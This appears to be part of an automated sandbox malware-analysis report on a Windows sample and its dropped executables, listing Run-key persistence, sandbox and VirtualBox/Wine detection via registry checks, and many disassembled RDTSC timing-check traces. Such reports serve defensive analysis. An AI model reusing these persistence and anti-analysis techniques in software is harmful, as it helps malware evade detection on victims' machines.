Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ec3f41365f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ec3f41365f.exe

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB955F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CB955F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJDGCGHCGHC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007170001\93734d82d0.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007171001\ec3f41365f.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF65B8 second address: EF660A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Fh 0x00000007 jmp 00007FD0FCEAC569h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jc 00007FD0FCEAC556h 0x00000015 je 00007FD0FCEAC556h 0x0000001b jnp 00007FD0FCEAC556h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 push ebx 0x00000025 pushad 0x00000026 popad 0x00000027 pop ebx 0x00000028 popad 0x00000029 push ecx 0x0000002a push edx 0x0000002b push eax 0x0000002c pop eax 0x0000002d pop edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF68D8 second address: EF68FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0FD11A2D2h 0x00000010 jng 00007FD0FD11A2C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF68FB second address: EF6906 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6906 second address: EF690C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF690C second address: EF694D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FD0FCEAC566h 0x0000000b jp 00007FD0FCEAC556h 0x00000011 push esi 0x00000012 pop esi 0x00000013 popad 0x00000014 popad 0x00000015 js 00007FD0FCEAC570h 0x0000001b pushad 0x0000001c jmp 00007FD0FCEAC562h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6D7B second address: EF6D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FD0FD11A2CCh 0x0000000c jp 00007FD0FD11A2C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jmp 00007FD0FD11A2CBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF96B0 second address: EF96B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF96B5 second address: EF96BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9734 second address: EF978A instructions: 0x00000000 rdtsc 0x00000002 js 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FD0FCEAC558h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov esi, 349FDFD1h 0x0000002c mov ecx, dword ptr [ebp+122D2DF7h] 0x00000032 or ecx, dword ptr [ebp+122D2AABh] 0x00000038 push 00000000h 0x0000003a movzx ecx, ax 0x0000003d call 00007FD0FCEAC559h 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF978A second address: EF978E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF978E second address: EF979F instructions: 0x00000000 rdtsc 0x00000002 js 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF979F second address: EF97A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF97A6 second address: EF97AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF97AB second address: EF97BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FD0FD11A2C6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF97BF second address: EF97CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF97CE second address: EF97D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF97D4 second address: EF97D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF97D8 second address: EF97F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pushad 0x00000013 popad 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF97F7 second address: EF97FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9A25 second address: EF9A2F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD0FD11A2CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9A2F second address: EF9A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ebx 0x00000009 jc 00007FD0FCEAC55Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9B45 second address: EF9BA1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jc 00007FD0FD11A2C6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FD0FD11A2D2h 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 push ebx 0x00000018 jo 00007FD0FD11A2C6h 0x0000001e pop ebx 0x0000001f jmp 00007FD0FD11A2CCh 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 jc 00007FD0FD11A2D9h 0x0000002d jmp 00007FD0FD11A2D3h 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push ebx 0x00000037 pushad 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF9C76 second address: EF9C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B43F second address: F1B443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF221D second address: EF2223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2223 second address: EF2227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF2227 second address: EF223B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF223B second address: EF223F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF223F second address: EF2243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1942A second address: F1944F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FD0FD11A2C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 jmp 00007FD0FD11A2D5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1944F second address: F19455 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19B71 second address: F19B77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19B77 second address: F19B7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19DD7 second address: F19DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19DDC second address: F19DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19F5C second address: F19F62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19F62 second address: F19F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A0F0 second address: F1A0F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A0F6 second address: F1A0FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A0FA second address: F1A100 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A100 second address: F1A116 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007FD0FCEAC564h 0x0000000e jo 00007FD0FCEAC55Eh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A3A5 second address: F1A3B2 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD0FD11A2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A3B2 second address: F1A3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push esi 0x00000007 jng 00007FD0FCEAC55Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A4EB second address: F1A549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2CAh 0x00000009 ja 00007FD0FD11A2C6h 0x0000000f popad 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 jns 00007FD0FD11A2C6h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e jmp 00007FD0FD11A2D6h 0x00000023 pushad 0x00000024 push edi 0x00000025 pop edi 0x00000026 jmp 00007FD0FD11A2D6h 0x0000002b popad 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f jo 00007FD0FD11A2C8h 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A549 second address: F1A555 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jp 00007FD0FCEAC556h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1A691 second address: F1A69B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FD0FD11A2C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AC46 second address: F1AC6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007FD0FCEAC56Dh 0x0000000b jbe 00007FD0FCEAC556h 0x00000011 jmp 00007FD0FCEAC561h 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1AC6F second address: F1AC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE14CF second address: EE1503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD0FCEAC55Eh 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jl 00007FD0FCEAC556h 0x00000013 popad 0x00000014 popad 0x00000015 pushad 0x00000016 jnp 00007FD0FCEAC55Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 jp 00007FD0FCEAC556h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE1503 second address: EE150D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE150D second address: EE1511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F200B5 second address: F200C4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD0FD11A2C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F200C4 second address: F200CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1EA9E second address: F1EAA4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20463 second address: F20467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F215D9 second address: F215F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2D2h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26822 second address: F26826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26826 second address: F2682C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2682C second address: F26832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26832 second address: F26878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD0FD11A2D6h 0x00000008 jns 00007FD0FD11A2C6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jo 00007FD0FD11A2F8h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FD0FD11A2D4h 0x00000020 jl 00007FD0FD11A2C6h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F26CAB second address: F26CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BB61 second address: F2BB9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD0FD11A2D0h 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007FD0FD11A2D5h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 jg 00007FD0FD11A2C6h 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BB9B second address: F2BBA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD0FCEAC556h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BBA5 second address: F2BBA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BBA9 second address: F2BBD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push edx 0x0000000d pushad 0x0000000e je 00007FD0FCEAC556h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 add edi, dword ptr [ebp+122D2D63h] 0x0000001f push CDC521EEh 0x00000024 push eax 0x00000025 push edx 0x00000026 push esi 0x00000027 jbe 00007FD0FCEAC556h 0x0000002d pop esi 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BED9 second address: F2BEF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0FD11A2D5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2BFC8 second address: F2BFD2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C1E9 second address: F2C1F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0FD11A2CAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C1F7 second address: F2C20E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD0FCEAC556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jns 00007FD0FCEAC558h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C20E second address: F2C222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD0FD11A2D0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C348 second address: F2C357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FD0FCEAC556h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2C956 second address: F2C95B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CAC2 second address: F2CAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2CF55 second address: F2CF70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FD11A2CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FD0FD11A2C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D00B second address: F2D00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2D00F second address: F2D024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a sub edi, dword ptr [ebp+122D1CB6h] 0x00000010 xchg eax, ebx 0x00000011 pushad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2F135 second address: F2F151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD0FCEAC55Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD0FCEAC55Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E7FB second address: F2E801 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
